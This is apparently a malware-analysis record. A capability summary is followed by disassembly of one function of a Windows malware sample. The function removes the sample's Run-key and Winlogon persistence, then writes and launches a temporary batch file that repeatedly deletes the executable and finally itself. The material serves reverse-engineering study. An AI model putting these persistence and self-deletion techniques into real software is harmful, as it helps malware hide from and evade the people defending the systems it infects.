Function at 0x406988
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
cmp byte [0x4156f8], 1
push ebx
push esi
push edi
jne 0x4069a7
mov ecx, 0x4156c0
call fcn.0040524e
cmp byte [0x415b64], 1
jne 0x4069b5
call fcn.0040e4ab
cmp byte [0x415808], 1
mov ebx, 0x4157f8
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
jne 0x4069df
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
push closesocket
call fcn.00409132
add esp, 0xc
cmp byte [0x415911], 1
mov esi, closesocket
jne 0x406a00
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
push esi
call fcn.00409132
add esp, 0xc
cmp byte [0x415910], 1
mov edi, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon_
jne 0x406a33
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.explorer.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Shell
push edi
push esi
call fcn.00408fda
add esp, 0x20
cmp byte [0x4157e0], 1
jne 0x406a61
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.C:WINDOWS_system32userinit.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Userinit
push edi
push esi
call fcn.00408fda
add esp, 0x20
cmp byte [0x4157c8], 1
jne 0x406a81
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
push esi
call fcn.00409132
add esp, 0xc
and byte [ebp - 0x1d4], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1d3]
mov esi, 0x415950
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, esi
stosb byte es:[edi], al
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x1d4]
mov esi, 0x4157e8
push eax
push str.EXEpath
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, closesocket
push eax
push edi
call fcn.00408f64
add esp, 0x18
test al, al
jne 0x406af1
lea eax, [ebp - 0x1d4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
jmp 0x406b01
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea eax, [ebp - 1]
push str.uninstall.bat
push eax
push str.Temp
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov esi, 0x410668
mov edi, 0x415918
push esi
push edi
mov byte [ebp - 1], 1
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop ecx
test al, al
pop ecx
je 0x406b6b
push 0x80
mov ecx, 0x415918
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call ebx
lea eax, [ebp - 0x1d4]
push 0x80
push eax
call ebx
test eax, eax
jne 0x406b80
and byte [ebp - 1], al
push 1
push 0x10
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_bool___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x406d21
mov ebx, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
lea eax, [ebp - 0xd0]
push str.:Repeat_n
push eax
call ebx
pop ecx
lea eax, [ebp - 2]
pop ecx
push 0x410f2c
push eax
lea eax, [ebp - 0x1d4]
lea ecx, [ebp - 0x24]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x34]
push str.del__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x406c8a
lea eax, [ebp - 2]
push str.__goto_Repeat_n
push eax
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x34]
push str.if_exist__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push esi
push edi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x406cdb
push 0x410f2c
push edi
lea eax, [ebp - 0x34]
push str._RD__Q__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0xd0]
push str.del__0__n
push eax
call ebx
lea eax, [ebp - 0xd0]
push str.exit__n
push eax
call ebx
add esp, 0x10
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
push 0
push esi
push esi
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x410718
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.MSVCRT.dll_exit]